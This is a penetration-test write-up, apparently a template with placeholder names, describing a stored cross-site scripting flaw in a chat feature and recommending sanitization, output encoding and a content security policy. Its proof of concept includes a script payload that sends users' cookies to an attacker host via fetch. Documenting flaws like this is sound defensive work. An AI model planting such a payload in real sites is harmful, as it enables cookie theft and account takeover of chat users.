Penetration Testing Writeup: XSS in Chat Feature
Executive Summary
A Stored Cross-Site Scripting (XSS) vulnerability was identified in [Target Application]’s chat feature during a penetration test. This flaw allows attackers to inject scripts into chat messages, affecting all users in the chat. This report provides details and remediation steps.
Vulnerability Details
- Vulnerability Type: Cross-Site Scripting (XSS) - Stored
- Severity: Critical
- Affected Component: Chat message input
- CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)
- Location:
https://[target-application]/chat/[room-id] - Discovered By: [PenTester Name]
- Date Discovered: August 29, 2025
Description
Chat messages are not sanitized before being stored and displayed, allowing attackers to inject scripts that execute for all users in the chat room.
Impact
- Account Takeover: Cookies can be stolen.
- Data Exfiltration: Chat data can be sent to attackers.
- Phishing: Fake forms can capture credentials.
- Reputation Damage: Defacement can harm trust.
Proof of Concept
- Send a chat message:
<script>alert('Stored XSS');</script>. - Observe the alert in the chat room.
- Malicious payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie);</script>.
Steps to Reproduce
- Join a chat room at
https://[target-application]/chat/[room-id]. - Send
<script>alert('Stored XSS');</script>as a message. - Confirm the alert appears for all users.
Remediation Recommendations
- Input Sanitization:
- Use OWASP AntiSamy for chat inputs.
- Output Encoding:
- Encode messages before rendering.
- Content Security Policy:
- Apply CSP:
Content-Security-Policy: script-src 'self';.
- Apply CSP:
- Secure Development:
- Train developers on XSS prevention.
- Regular Testing:
- Conduct security audits.
Conclusion
The Stored XSS vulnerability in [Target Application]’s chat feature is critical and requires immediate action.
References
- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- CWE-79: https://cwe.mitre.org/data/definitions/79.html
